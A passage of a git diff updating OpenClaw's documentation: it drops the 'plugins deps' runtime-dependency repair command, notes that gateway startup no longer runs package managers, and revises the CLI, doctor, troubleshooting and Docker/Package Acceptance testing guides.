`telegram_mode=mock-openai`. Release-path Docker chunks cover the overlapping package/update/plugin lanes; Package Acceptance keeps offline plugin, update, and Telegram proof against the same resolved package tarball. Cross-OS release checks still cover OS-specific onboarding, installer, and platform behavior; package/update product validation should start with Package Acceptance. The `published-upgrade-survivor` Docker lane validates one published package baseline per run. In Package Acceptance, the resolved `package-under-test` tarball is always the candidate and `published_upgrade_survivor_baseline` selects the fallback published baseline, defaulting to `openclaw@latest`; failed-lane rerun commands preserve that baseline. Set `published_upgrade_survivor_baselines=release-history` to expand the lane across a deduped history matrix: the latest six stable releases, `2026.4.23`, and the latest stable release before `2026-03-15`. Set `published_upgrade_survivor_scenarios=reported-issues` to expand the same baselines across issue-shaped fixtures for Feishu config, preserved bootstrap/persona files, tilde log paths, and stale legacy plugin dependency roots. Local aggregate runs can pass exact package specs with `OPENCLAW_UPGRADE_SURVIVOR_BASELINE_SPECS`, keep a single lane with `OPENCLAW_UPGRADE_SURVIVOR_BASELINE_SPEC` such as `openclaw@2026.4.15`, or set `OPENCLAW_UPGRADE_SURVIVOR_SCENARIOS` for the scenario matrix. The published lane configures the baseline with a baked `openclaw config set` command recipe, records recipe steps in `summary.json`, and probes `/healthz`, `/readyz`, plus RPC status after Gateway start. The Windows packaged and installer fresh lanes also verify that an installed package can import a browser-control override from a raw absolute Windows path. The OpenAI cross-OS agent-turn smoke defaults to `OPENCLAW_CROSS_OS_OPENAI_MODEL` when set, otherwise `openai/gpt-5.4-mini`, so the install and gateway proof stays fast and deterministic. ### Legacy compatibility windows @@ -290,9 +290,9 @@ The reusable live/E2E workflow asks `scripts/test-docker-all.mjs --plan-json` wh Release Docker coverage runs smaller chunked jobs with `OPENCLAW_SKIP_DOCKER_BUILD=1` so each chunk pulls only the image kind it needs and executes multiple lanes through the same weighted scheduler: - `OPENCLAW_DOCKER_ALL_PROFILE=release-path` -- `OPENCLAW_DOCKER_ALL_CHUNK=core | package-update-openai | package-update-anthropic | package-update-core | plugins-runtime-plugins | plugins-runtime-services | plugins-runtime-install-a..h | bundled-channels` +- `OPENCLAW_DOCKER_ALL_CHUNK=core | package-update-openai | package-update-anthropic | package-update-core | plugins-runtime-plugins | plugins-runtime-services | plugins-runtime-install-a..h` -Current release Docker chunks are `core`, `package-update-openai`, `package-update-anthropic`, `package-update-core`, `plugins-runtime-plugins`, `plugins-runtime-services`, `plugins-runtime-install-a` through `plugins-runtime-install-h`, `bundled-channels-core`, `bundled-channels-update-a`, `bundled-channels-update-discord`, `bundled-channels-update-b`, and `bundled-channels-contracts`. The aggregate `bundled-channels` chunk remains available for manual one-shot reruns, and `plugins-runtime-core`, `plugins-runtime`, and `plugins-integrations` remain aggregate plugin/runtime aliases. The `install-e2e` lane alias remains the aggregate manual rerun alias for both provider installer lanes. The `bundled-channels` chunk runs split `bundled-channel-*` and `bundled-channel-update-*` lanes rather than the serial all-in-one `bundled-channel-deps` lane. +Current release Docker chunks are `core`, `package-update-openai`, `package-update-anthropic`, `package-update-core`, `plugins-runtime-plugins`, `plugins-runtime-services`, and `plugins-runtime-install-a` through `plugins-runtime-install-h`. `plugins-runtime-core`, `plugins-runtime`, and `plugins-integrations` remain aggregate plugin/runtime aliases. The `install-e2e` lane alias remains the aggregate manual rerun alias for both provider installer lanes. OpenWebUI is folded into `plugins-runtime-services` when full release-path coverage requests it, and keeps a standalone `openwebui` chunk only for OpenWebUI-only dispatches. Bundled-channel update lanes retry once for transient npm network failures. @@ -332,13 +332,13 @@ The pull request guard stays light: it only starts for changes under `.github/ac ### Security categories -| Category | Surface | -| ------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- | -| `/codeql-security-high/core-auth-secrets` | Auth, secrets, sandbox, cron, and gateway baseline | -| `/codeql-security-high/channel-runtime-boundary` | Core channel implementation contracts plus the channel plugin runtime, gateway, Plugin SDK, secrets, audit touchpoints | -| `/codeql-security-high/network-ssrf-boundary` | Core SSRF, IP parsing, network guard, web-fetch, and Plugin SDK SSRF policy surfaces | -| `/codeql-security-high/mcp-process-tool-boundary` | MCP servers, process execution helpers, outbound delivery, and agent tool-execution gates | -| `/codeql-security-high/plugin-trust-boundary` | Plugin install, loader, manifest, registry, runtime-dependency staging, source-loading, and Plugin SDK package contract trust surfaces | +| Category | Surface | +| ------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------- | +| `/codeql-security-high/core-auth-secrets` | Auth, secrets, sandbox, cron, and gateway baseline | +| `/codeql-security-high/channel-runtime-boundary` | Core channel implementation contracts plus the channel plugin runtime, gateway, Plugin SDK, secrets, audit touchpoints | +| `/codeql-security-high/network-ssrf-boundary` | Core SSRF, IP parsing, network guard, web-fetch, and Plugin SDK SSRF policy surfaces | +| `/codeql-security-high/mcp-process-tool-boundary` | MCP servers, process execution helpers, outbound delivery, and agent tool-execution gates | +| `/codeql-security-high/plugin-trust-boundary` | Plugin install, loader, manifest, registry, package-manager install, source-loading, and Plugin SDK package contract trust surfaces | ### Platform-specific security shards diff --git a/docs/cli/configure.md b/docs/cli/configure.md index 69daa2b198a..ae48f8fca2e 100644 --- a/docs/cli/configure.md +++ b/docs/cli/configure.md @@ -52,7 +52,7 @@ Available sections: Notes: - Choosing where the Gateway runs always updates `gateway.mode`. You can select "Continue" without other sections if that is all you need. -- After local config writes, configure materializes newly required bundled plugin runtime dependencies. This is a narrow package-manager repair step, not a full `openclaw doctor` run. Remote gateway config does not install local plugin dependencies. +- After local config writes, configure installs selected downloadable plugins when the chosen setup path requires them. Remote gateway config does not install local plugin packages. - Channel-oriented services (Slack/Discord/Matrix/Microsoft Teams) prompt for channel/room allowlists during setup. You can enter names or IDs; the wizard resolves names to IDs when possible. - If you run the daemon install step, token auth requires a token, and `gateway.auth.token` is SecretRef-managed, configure validates the SecretRef but does not persist resolved plaintext token values into supervisor service environment metadata. - If token auth requires a token and the configured token SecretRef is unresolved, configure blocks daemon install with actionable remediation guidance. diff --git a/docs/cli/doctor.md b/docs/cli/doctor.md index a1304d8f02a..301bdd85266 100644 --- a/docs/cli/doctor.md +++ b/docs/cli/doctor.md @@ -44,7 +44,7 @@ Notes: - `doctor --fix --non-interactive` reports missing or stale gateway service definitions but does not install or rewrite them outside update repair mode. Run `openclaw gateway install` for a missing service, or `openclaw gateway install --force` when you intentionally want to replace the launcher. - State integrity checks now detect orphan transcript files in the sessions directory. Archiving them as `.deleted.` requires an interactive confirmation; `--fix`, `--yes`, and headless runs leave them in place. - Doctor also scans `~/.openclaw/cron/jobs.json` (or `cron.store`) for legacy cron job shapes and can rewrite them in place before the scheduler has to auto-normalize them at runtime. -- Doctor repairs missing bundled plugin runtime dependencies without writing into packaged global installs. For root-owned npm installs or hardened systemd units, set `OPENCLAW_PLUGIN_STAGE_DIR` to a writable directory such as `/var/lib/openclaw/plugin-runtime-deps`; it can also be a path-list such as `/opt/openclaw/plugin-runtime-deps:/var/lib/openclaw/plugin-runtime-deps`, where earlier roots are read-only lookup layers and the final root is the repair target. +- Doctor cleans legacy plugin dependency staging state created by older OpenClaw versions. It also repairs missing configured downloadable plugins when the registry can resolve them. - Doctor repairs stale plugin config by removing missing plugin ids from `plugins.allow`/`plugins.entries`, plus matching dangling channel config, heartbeat targets, and channel model overrides when plugin discovery is healthy. - Doctor quarantines invalid plugin config by disabling the affected `plugins.entries.` entry and removing its invalid `config` payload. Gateway startup already skips only that bad plugin so other plugins and channels can keep running. - Set `OPENCLAW_SERVICE_REPAIR_POLICY=external` when another supervisor owns the gateway lifecycle. Doctor still reports gateway/service health and applies non-service repairs, but skips service install/start/restart/bootstrap and legacy service cleanup. diff --git a/docs/cli/gateway.md b/docs/cli/gateway.md index e88f859c1cd..ac329760f4c 100644 --- a/docs/cli/gateway.md +++ b/docs/cli/gateway.md @@ -146,7 +146,7 @@ When you set `--url`, the CLI does not fall back to config or environment creden openclaw gateway health --url ws://127.0.0.1:18789 ``` -The HTTP `/healthz` endpoint is a liveness probe: it returns once the server can answer HTTP. The HTTP `/readyz` endpoint is stricter and stays red while startup plugin runtime dependencies, sidecars, channels, or configured hooks are still settling. Local or authenticated detailed readiness responses include an `eventLoop` diagnostic block with event-loop delay, event-loop utilization, CPU core ratio, and a `degraded` flag. +The HTTP `/healthz` endpoint is a liveness probe: it returns once the server can answer HTTP. The HTTP `/readyz` endpoint is stricter and stays red while startup plugin sidecars, channels, or configured hooks are still settling. Local or authenticated detailed readiness responses include an `eventLoop` diagnostic block with event-loop delay, event-loop utilization, CPU core ratio, and a `degraded` flag. ### `gateway usage-cost` diff --git a/docs/cli/infer.md b/docs/cli/infer.md index 46686551510..3c41b7ae068 100644 --- a/docs/cli/infer.md +++ b/docs/cli/infer.md @@ -49,8 +49,8 @@ Benefits: For end-to-end provider checks, prefer `openclaw infer ...` once lower-level provider tests are green. It exercises the shipped CLI, config loading, -default-agent resolution, bundled plugin activation, runtime-dependency repair, -and the shared capability runtime before the provider request is made. +default-agent resolution, bundled plugin activation, and the shared capability +runtime before the provider request is made. ## Command tree diff --git a/docs/cli/onboard.md b/docs/cli/onboard.md index 01c9f29e19b..e10ef89ca58 100644 --- a/docs/cli/onboard.md +++ b/docs/cli/onboard.md @@ -119,8 +119,8 @@ Gateway token options in non-interactive mode: - With `--install-daemon`, if token mode requires a token and the configured token SecretRef is unresolved, onboarding fails closed with remediation guidance. - With `--install-daemon`, if both `gateway.auth.token` and `gateway.auth.password` are configured and `gateway.auth.mode` is unset, onboarding blocks install until mode is set explicitly. - Local onboarding writes `gateway.mode="local"` into the config. If a later config file is missing `gateway.mode`, treat that as config damage or an incomplete manual edit, not as a valid local-mode shortcut. -- Local onboarding materializes newly required bundled plugin runtime dependencies after writing config, before workspace/bootstrap, daemon install, or health checks continue. This is a narrow package-manager repair step, not a full `openclaw doctor` run. -- Remote onboarding only writes connection info for the remote Gateway and does not install local bundled plugin dependencies. +- Local onboarding installs selected downloadable plugins when the chosen setup path requires them. +- Remote onboarding only writes connection info for the remote Gateway and does not install local plugin packages. - `--allow-unconfigured` is a separate gateway runtime escape hatch. It does not mean onboarding may omit `gateway.mode`. Example: diff --git a/docs/cli/plugins.md b/docs/cli/plugins.md index 495e6e3357d..e3be5bb98cd 100644 --- a/docs/cli/plugins.md +++ b/docs/cli/plugins.md @@ -1,5 +1,5 @@ --- -summary: "CLI reference for `openclaw plugins` (list, install, marketplace, uninstall, enable/disable, deps, doctor)" +summary: "CLI reference for `openclaw plugins` (list, install, marketplace, uninstall, enable/disable, doctor)" read_when: - You want to install or manage Gateway plugins or compatible bundles - You want to debug plugin load failures @@ -42,10 +42,6 @@ openclaw plugins disable openclaw plugins registry openclaw plugins registry --refresh openclaw plugins uninstall -openclaw plugins deps -openclaw plugins deps --repair -openclaw plugins deps --prune -openclaw plugins deps --json openclaw plugins doctor openclaw plugins update openclaw plugins update --all @@ -129,13 +125,13 @@ current OpenClaw or a local checkout until a newer npm package is published. Bare specs and `@latest` stay on the stable track. If npm resolves either of those to a prerelease, OpenClaw stops and asks you to opt in explicitly with a prerelease tag such as `@beta`/`@rc` or an exact prerelease version such as `@1.2.3-beta.4`. - If a bare install spec matches a bundled plugin id (for example `diffs`), OpenClaw installs the bundled plugin directly. To install an npm package with the same name, use an explicit scoped spec (for example `@scope/diffs`). + If a bare install spec matches an official plugin id (for example `diffs`), OpenClaw installs the catalog entry directly. To install an npm package with the same name, use an explicit scoped spec (for example `@scope/diffs`). Use `git:` to install directly from a git repository. Supported forms include `git:github.com/owner/repo`, `git:owner/repo`, full `https://`, `ssh://`, `git://`, `file://`, and `git@host:owner/repo.git` clone URLs. Add `@` or `#` to check out a branch, tag, or commit before install. - Git installs clone into a temporary directory, check out the requested ref when present, then use the normal plugin directory installer. That means manifest validation, dangerous-code scanning, runtime dependency staging, and install records behave like local-path installs. Recorded git installs include the source URL/ref plus the resolved commit so `openclaw plugins update` can re-resolve the source later. + Git installs clone into a temporary directory, check out the requested ref when present, then use the normal plugin directory installer. That means manifest validation, dangerous-code scanning, package-manager install work, and install records behave like npm installs. Recorded git installs include the source URL/ref plus the resolved commit so `openclaw plugins update` can re-resolve the source later. After installing from git, use `openclaw plugins inspect --runtime --json` to verify runtime registrations such as gateway methods and CLI commands. If the plugin registered a CLI root with `api.registerCli`, execute that command directly through the OpenClaw root CLI, for example `openclaw demo-plugin ping`. @@ -245,7 +241,7 @@ directory remains inert so normal packaged installs still use compiled dist. For runtime hook debugging: -- `openclaw plugins inspect --runtime --json` shows registered hooks and diagnostics from a module-loaded inspection pass. Runtime inspection never downloads missing bundled runtime dependencies; use `openclaw plugins deps --repair` when repair is needed. +- `openclaw plugins inspect --runtime --json` shows registered hooks and diagnostics from a module-loaded inspection pass. Runtime inspection never installs dependencies; use `openclaw doctor --fix` to clean legacy dependency state or install missing configured downloadable plugins. - `openclaw gateway status --deep --require-rpc` confirms the reachable Gateway, service/process hints, config path, and RPC health. - Non-bundled conversation hooks (`llm_input`, `llm_output`, `before_agent_finalize`, `agent_end`) require `plugins.entries..hooks.allowConversationAccess=true`. @@ -267,21 +263,6 @@ Plugin install metadata is machine-managed state, not user config. Installs and When OpenClaw sees shipped legacy `plugins.installs` records in config, it moves them into the plugin index and removes the config key; if either write fails, the config records are kept so the install metadata is not lost. -### Runtime deps - -```bash -openclaw plugins deps -openclaw plugins deps --repair -openclaw plugins deps --prune -openclaw plugins deps --json -``` - -`plugins deps` inspects the packaged runtime dependency stage for OpenClaw-owned bundled plugins selected by plugin config, enabled/configured channels, configured model providers, or bundled manifest defaults. It is not the install/update path for third-party npm or ClawHub plugins. - -Use `--repair` when a packaged install reports missing bundled runtime dependencies during Gateway startup or `plugins doctor`. Repair installs only missing enabled bundled-plugin deps with lifecycle scripts disabled. Use `--prune` to remove stale unknown external runtime-dependency roots left behind by older packaged layouts. - -For the full plan, staging, and repair lifecycle, see [Plugin dependency resolution](/plugins/dependency-resolution). - ### Uninstall ```bash @@ -336,7 +317,7 @@ openclaw plugins inspect --runtime openclaw plugins inspect --json ``` -Inspect shows identity, load status, source, manifest capabilities, policy flags, diagnostics, install metadata, bundle capabilities, and any detected MCP or LSP server support without importing plugin runtime by default. Add `--runtime` to load the plugin module and include registered hooks, tools, commands, services, gateway methods, and HTTP routes. Runtime inspection fails with a repair hint when bundled runtime dependencies are missing; use `openclaw plugins deps --repair` to repair them explicitly. +Inspect shows identity, load status, source, manifest capabilities, policy flags, diagnostics, install metadata, bundle capabilities, and any detected MCP or LSP server support without importing plugin runtime by default. Add `--runtime` to load the plugin module and include registered hooks, tools, commands, services, gateway methods, and HTTP routes. Runtime inspection reports missing plugin dependencies directly; installs and repairs stay in `openclaw plugins install`, `openclaw plugins update`, and `openclaw doctor --fix`. Plugin-owned CLI commands are installed as root `openclaw` command groups. After `inspect --runtime` shows a command under `cliCommands`, run it as `openclaw ...`; for example a plugin that registers `demo-git` can be verified with `openclaw demo-git ping`. diff --git a/docs/cli/update.md b/docs/cli/update.md index b7ae7f5a4bc..e72d271c0f8 100644 --- a/docs/cli/update.md +++ b/docs/cli/update.md @@ -155,7 +155,7 @@ If an exact pinned npm plugin update resolves to an artifact whose integrity dif Post-update plugin sync failures fail the update result and stop restart follow-up work. Fix the plugin install or update error, then rerun `openclaw update`. -When the updated Gateway starts, enabled bundled plugin runtime dependencies are staged before plugin activation. Package-manager `update.run` restarts bypass the normal idle deferral and restart cooldown after the package tree has been swapped, so the old process cannot keep lazy-loading removed chunks. Service-manager restarts still drain runtime-dependency staging before closing the Gateway. +When the updated Gateway starts, plugin loading is verify-only: startup does not run package managers or mutate dependency trees. Package-manager `update.run` restarts bypass the normal idle deferral and restart cooldown after the package tree has been swapped, so the old process cannot keep lazy-loading removed chunks. If pnpm bootstrap still fails, the updater stops early with a package-manager-specific error instead of trying `npm run build` inside the checkout. diff --git a/docs/concepts/memory-search.md b/docs/concepts/memory-search.md index 5584a870cb1..4819aa7e309 100644 --- a/docs/concepts/memory-search.md +++ b/docs/concepts/memory-search.md @@ -33,9 +33,9 @@ For multi-endpoint setups, `provider` can also be a custom `models.providers.` entry, such as `ollama-5080`, when that provider sets `api: "ollama"` or another embedding adapter owner. -For local embeddings with no API key, set `provider: "local"`. Packaged -installs retain the native `node-llama-cpp` runtime in OpenClaw's managed plugin -runtime-deps tree; run `openclaw doctor --fix` if that tree needs repair. +For local embeddings with no API key, set `provider: "local"`. Source checkouts +may still require native build approval: `pnpm approve-builds` then +`pnpm rebuild node-llama-cpp`. Some OpenAI-compatible embedding endpoints require asymmetric labels such as `input_type: "query"` for searches and `input_type: "document"` or `"passage"` diff --git a/docs/gateway/doctor.md b/docs/gateway/doctor.md index 6da7c85eff7..bce5e33868f 100644 --- a/docs/gateway/doctor.md +++ b/docs/gateway/doctor.md @@ -339,10 +339,10 @@ That stages grounded durable candidates into the short-term dreaming store while When sandboxing is enabled, doctor checks Docker images and offers to build or switch to legacy names if the current image is missing. - - Doctor verifies runtime dependencies only for bundled plugins that are active in the current config or enabled by their bundled manifest default, for example `plugins.entries.discord.enabled: true`, legacy `channels.discord.enabled: true`, configured `models.providers.*` / agent model refs, or a default-enabled bundled plugin without provider ownership. If any are missing, doctor reports the packages and installs them in `openclaw doctor --fix` / `openclaw doctor --repair` mode. External plugins still use `openclaw plugins install` / `openclaw plugins update`; doctor does not install dependencies for arbitrary plugin paths. + + Doctor removes legacy OpenClaw-generated plugin dependency staging state in `openclaw doctor --fix` / `openclaw doctor --repair` mode. This covers stale generated dependency roots, old install-stage directories, and package-local debris from earlier bundled-plugin dependency repair code. - During doctor repair, bundled runtime-dependency npm installs report spinner progress in TTY sessions and periodic line progress in piped/headless output. Gateway startup and config reload enter plugin-plan mode before importing bundled plugin runtime modules; normal runtime imports are verify-only and do not spawn package-manager repair. These installs are scoped to the plugin runtime install root, run with scripts disabled, do not write a package lock, and are guarded by an install-root lock so concurrent CLI or Gateway starts do not mutate the same `node_modules` tree at the same time. Stale legacy locks from killed Docker/container starts are reclaimed when their owner metadata cannot prove a current process incarnation and the lock files are old. + Doctor can also reinstall configured downloadable plugins when the config references them but the local plugin registry cannot find them. Gateway startup and config reload do not run package managers; plugin installs remain explicit doctor/install/update work. diff --git a/docs/gateway/troubleshooting.md b/docs/gateway/troubleshooting.md index 6eb735132d5..07e3ebd44c1 100644 --- a/docs/gateway/troubleshooting.md +++ b/docs/gateway/troubleshooting.md @@ -517,7 +517,7 @@ Look for: - `browser.executablePath not found` → configured path is invalid. - `browser.cdpUrl must be http(s) or ws(s)` → the configured CDP URL uses an unsupported scheme such as `file:` or `ftp:`. - `browser.cdpUrl has invalid port` → the configured CDP URL has a bad or out-of-range port. - - `Playwright is not available in this gateway build; '' is unsupported.` → the current gateway install lacks the bundled browser plugin's `playwright-core` runtime dependency; run `openclaw doctor --fix`, then restart the gateway. ARIA snapshots and basic page screenshots can still work, but navigation, AI snapshots, CSS-selector element screenshots, and PDF export stay unavailable. + - `Playwright is not available in this gateway build; '' is unsupported.` → the current gateway install lacks the core browser runtime dependency; reinstall or update OpenClaw, then restart the gateway. ARIA snapshots and basic page screenshots can still work, but navigation, AI snapshots, CSS-selector element screenshots, and PDF export stay unavailable. diff --git a/docs/help/testing-live.md b/docs/help/testing-live.md index a793fa53050..dead59d6628 100644 --- a/docs/help/testing-live.md +++ b/docs/help/testing-live.md @@ -498,8 +498,8 @@ openclaw infer image generate \ ``` This covers CLI argument parsing, config/default-agent resolution, bundled -plugin activation, on-demand bundled runtime-dependency repair, the shared -image-generation runtime, and the live provider request. +plugin activation, the shared image-generation runtime, and the live provider +request. Plugin dependencies are expected to be present before runtime load. ## Music generation live diff --git a/docs/help/testing.md b/docs/help/testing.md index 0e8fcb7bfca..6c209f47c5f 100644 --- a/docs/help/testing.md +++ b/docs/help/testing.md @@ -160,9 +160,9 @@ inside every shard. - `pnpm test:docker:npm-onboard-channel-agent` - Builds an npm tarball from the current checkout, installs it globally in Docker, runs non-interactive OpenAI API-key onboarding, configures Telegram - by default, verifies enabling the plugin installs runtime dependencies on - demand, runs doctor, and runs one local agent turn against a mocked OpenAI - endpoint. + by default, verifies the packaged plugin runtime loads without startup + dependency repair, runs doctor, and runs one local agent turn against a + mocked OpenAI endpoint. - Use `OPENCLAW_NPM_ONBOARD_CHANNEL=discord` to run the same packaged-install lane with Discord. - `pnpm test:docker:session-runtime-context` @@ -227,17 +227,17 @@ gh workflow run package-acceptance.yml --ref main \ -f suite_profile=smoke ``` -- `pnpm test:docker:bundled-channel-deps` +- `pnpm test:docker:plugins` - Packs and installs the current OpenClaw build in Docker, starts the Gateway with OpenAI configured, then enables bundled channel/plugins via config edits. - - Verifies setup discovery leaves unconfigured plugin runtime dependencies - absent, the first configured Gateway or doctor run installs each bundled - plugin's runtime dependencies on demand, and a second restart does not - reinstall dependencies that were already activated. + - Verifies setup discovery leaves unconfigured downloadable plugins absent, + the first configured doctor repair installs each missing downloadable + plugin explicitly, and a second restart does not run hidden dependency + repair. - Also installs a known older npm baseline, enables Telegram before running `openclaw update --tag `, and verifies the candidate's - post-update doctor repairs bundled channel runtime dependencies without a + post-update doctor cleans legacy plugin dependency debris without a harness-side postinstall repair. - `pnpm test:parallels:npm-update` - Runs the native packaged-install update smoke across Parallels guests. Each @@ -263,9 +263,9 @@ gh workflow run package-acceptance.yml --ref main \ - The script writes nested lane logs under `/tmp/openclaw-parallels-npm-update.*`. Inspect `windows-update.log`, `macos-update.log`, or `linux-update.log` before assuming the outer wrapper is hung. - - Windows update can spend 10 to 15 minutes in post-update doctor/runtime - dependency repair on a cold guest; that is still healthy when the nested - npm debug log is advancing. + - Windows update can spend 10 to 15 minutes in post-update doctor and package + update work on a cold guest; that is still healthy when the nested npm + debug log is advancing. - Do not run this aggregate wrapper in parallel with individual Parallels macOS, Windows, or Linux smoke lanes. They share VM state and can collide on snapshot restore, package serving, or guest gateway state. @@ -600,7 +600,7 @@ These Docker runners split into two buckets: `OPENCLAW_LIVE_GATEWAY_MODEL_TIMEOUT_MS=90000`. Override those env vars when you explicitly want the larger exhaustive scan. - `test:docker:all` builds the live Docker image once via `test:docker:live-build`, packs OpenClaw once as an npm tarball through `scripts/package-openclaw-for-docker.mjs`, then builds/reuses two `scripts/e2e/Dockerfile` images. The bare image is only the Node/Git runner for install/update/plugin-dependency lanes; those lanes mount the prebuilt tarball. The functional image installs the same tarball into `/app` for built-app functionality lanes. Docker lane definitions live in `scripts/lib/docker-e2e-scenarios.mjs`; planner logic lives in `scripts/lib/docker-e2e-plan.mjs`; `scripts/test-docker-all.mjs` executes the selected plan. The aggregate uses a weighted local scheduler: `OPENCLAW_DOCKER_ALL_PARALLELISM` controls process slots, while resource caps keep heavy live, npm-install, and multi-service lanes from all starting at once. If a single lane is heavier than the active caps, the scheduler can still start it when the pool is empty and then keeps it running alone until capacity is available again. Defaults are 10 slots, `OPENCLAW_DOCKER_ALL_LIVE_LIMIT=9`, `OPENCLAW_DOCKER_ALL_NPM_LIMIT=10`, and `OPENCLAW_DOCKER_ALL_SERVICE_LIMIT=7`; tune `OPENCLAW_DOCKER_ALL_WEIGHT_LIMIT` or `OPENCLAW_DOCKER_ALL_DOCKER_LIMIT` only when the Docker host has more headroom. The runner performs a Docker preflight by default, removes stale OpenClaw E2E containers, prints status every 30 seconds, stores successful lane timings in `.artifacts/docker-tests/lane-timings.json`, and uses those timings to start longer lanes first on later runs. Use `OPENCLAW_DOCKER_ALL_DRY_RUN=1` to print the weighted lane manifest without building or running Docker, or `node scripts/test-docker-all.mjs --plan-json` to print the CI plan for selected lanes, package/image needs, and credentials. -- `Package Acceptance` is the GitHub-native package gate for "does this installable tarball work as a product?" It resolves one candidate package from `source=npm`, `source=ref`, `source=url`, or `source=artifact`, uploads it as `package-under-test`, then runs the reusable Docker E2E lanes against that exact tarball instead of repacking the selected ref. `workflow_ref` selects the trusted workflow/harness scripts, while `package_ref` selects the source commit/branch/tag to pack when `source=ref`; this lets current acceptance logic validate older trusted commits. Profiles are ordered by breadth: `smoke` is quick install/channel/agent plus gateway/config, `package` is the package/update/plugin contract plus the keyless upgrade-survivor fixture, the published-baseline upgrade survivor lane, and the default native replacement for most Parallels package/update coverage, `product` adds MCP channels, cron/subagent cleanup, OpenAI web search, and OpenWebUI, and `full` runs the release-path Docker chunks with OpenWebUI. For `published-upgrade-survivor`, Package Acceptance always uses `package-under-test` as the candidate and `published_upgrade_survivor_baseline` as the fallback published baseline, defaulting to `openclaw@latest`; set `published_upgrade_survivor_baselines=release-history` to shard the lane across a deduped matrix of the latest six stable releases, `2026.4.23`, and the latest stable release before `2026-03-15`. The published lane configures its baseline with a baked `openclaw config set` command recipe, then records recipe steps in the lane summary. Release validation runs a custom package delta (`bundled-channel-deps-compat plugins-offline`) plus Telegram package QA because the release-path Docker chunks already cover the overlapping package/update/plugin lanes. Targeted GitHub Docker rerun commands generated from artifacts include prior package artifact, prepared image inputs, and the published upgrade-survivor baseline list when available, so failed lanes can avoid rebuilding the package and images. +- `Package Acceptance` is the GitHub-native package gate for "does this installable tarball work as a product?" It resolves one candidate package from `source=npm`, `source=ref`, `source=url`, or `source=artifact`, uploads it as `package-under-test`, then runs the reusable Docker E2E lanes against that exact tarball instead of repacking the selected ref. `workflow_ref` selects the trusted workflow/harness scripts, while `package_ref` selects the source commit/branch/tag to pack when `source=ref`; this lets current acceptance logic validate older trusted commits. Profiles are ordered by breadth: `smoke` is quick install/channel/agent plus gateway/config, `package` is the package/update/plugin contract plus the keyless upgrade-survivor fixture, the published-baseline upgrade survivor lane, and the default native replacement for most Parallels package/update coverage, `product` adds MCP channels, cron/subagent cleanup, OpenAI web search, and OpenWebUI, and `full` runs the release-path Docker chunks with OpenWebUI. For `published-upgrade-survivor`, Package Acceptance always uses `package-under-test` as the candidate and `published_upgrade_survivor_baseline` as the fallback published baseline, defaulting to `openclaw@latest`; set `published_upgrade_survivor_baselines=release-history` to shard the lane across a deduped matrix of the latest six stable releases, `2026.4.23`, and the latest stable release before `2026-03-15`. The published lane configures its baseline with a baked `openclaw config set` command recipe, then records recipe steps in the lane summary. Release validation runs a custom package delta (`plugins-offline plugin-update`) plus Telegram package QA because the release-path Docker chunks already cover the overlapping package/update/plugin lanes. Targeted GitHub Docker rerun commands generated from artifacts include prior package artifact, prepared image inputs, and the published upgrade-survivor baseline list when available, so failed lanes can avoid rebuilding the package and images. - Build and release checks run `scripts/check-cli-bootstrap-imports.mjs` after tsdown. The guard walks the static built graph from `dist/entry.js` and `dist/cli/run-main.js` and fails if pre-dispatch startup imports package dependencies such as Commander, prompt UI, undici, or logging before command dispatch; it also keeps the bundled gateway run chunk under budget and rejects static imports of known cold gateway paths. Packaged CLI smoke also covers root help, onboard help, doctor help, status, config schema, and a model-list command. - Package Acceptance legacy compatibility is capped at `2026.4.25` (`2026.4.25-beta.*` included). Through that cutoff, the harness tolerates only shipped-package metadata gaps: omitted private QA inventory entries, missing `gateway install --wrapper`, missing patch files in the tarball-derived git fixture, missing persisted `update.channel`, legacy plugin install-record locations, missing marketplace install-record persistence, and config metadata migration during `plugins update`. For packages after `2026.4.25`, those paths are strict failures. - Container smoke runners: `test:docker:openwebui`, `test:docker:onboard`, `test:docker:npm-onboard-channel-agent`, `test:docker:update-channel-switch`, `test:docker:upgrade-survivor`, `test:docker:published-upgrade-survivor`, `test:docker:session-runtime-context`, `test:docker:agents-delete-shared-workspace`, `test:docker:gateway-network`, `test:docker:browser-cdp-snapshot`, `test:docker:mcp-channels`, `test:docker:pi-bundle-mcp-tools`, `test:docker:cron-mcp-cleanup`, `test:docker:plugins`, `test:docker:plugin-update`, and `test:docker:config-reload` boot one or more real containers and verify higher-level integration paths. @@ -615,9 +615,9 @@ The live-model Docker runners also bind-mount only the needed CLI auth homes (or - Observability smoke: `pnpm qa:otel:smoke` is a private QA source-checkout lane. It is intentionally not part of package Docker release lanes because the npm tarball omits QA Lab. - Open WebUI live smoke: `pnpm test:docker:openwebui` (script: `scripts/e2e/openwebui-docker.sh`) - Onboarding wizard (TTY, full scaffolding): `pnpm test:docker:onboard` (script: `scripts/e2e/onboard-docker.sh`) -- Npm tarball onboarding/channel/agent smoke: `pnpm test:docker:npm-onboard-channel-agent` installs the packed OpenClaw tarball globally in Docker, configures OpenAI via env-ref onboarding plus Telegram by default, verifies doctor repairs activated plugin runtime deps, and runs one mocked OpenAI agent turn. Reuse a prebuilt tarball with `OPENCLAW_CURRENT_PACKAGE_TGZ=/path/to/openclaw-*.tgz`, skip the host rebuild with `OPENCLAW_NPM_ONBOARD_HOST_BUILD=0`, or switch channel with `OPENCLAW_NPM_ONBOARD_CHANNEL=discord`. +- Npm tarball onboarding/channel/agent smoke: `pnpm test:docker:npm-onboard-channel-agent` installs the packed OpenClaw tarball globally in Docker, configures OpenAI via env-ref onboarding plus Telegram by default, runs doctor, and runs one mocked OpenAI agent turn. Reuse a prebuilt tarball with `OPENCLAW_CURRENT_PACKAGE_TGZ=/path/to/openclaw-*.tgz`, skip the host rebuild with `OPENCLAW_NPM_ONBOARD_HOST_BUILD=0`, or switch channel with `OPENCLAW_NPM_ONBOARD_CHANNEL=discord`. - Update channel switch smoke: `pnpm test:docker:update-channel-switch` installs the packed OpenClaw tarball globally in Docker, switches from package `stable` to git `dev`, verifies the persisted channel and plugin post-update work, then switches back to package `stable` and checks update status. -- Upgrade survivor smoke: `pnpm test:docker:upgrade-survivor` installs the packed OpenClaw tarball over a dirty old-user fixture with agents, channel config, plugin allowlists, stale plugin runtime-deps state, and existing workspace/session files. It runs package update plus non-interactive doctor without live provider or channel keys, then starts a loopback Gateway and checks config/state preservation plus startup/status budgets. +- Upgrade survivor smoke: `pnpm test:docker:upgrade-survivor` installs the packed OpenClaw tarball over a dirty old-user fixture with agents, channel config, plugin allowlists, stale plugin dependency state, and 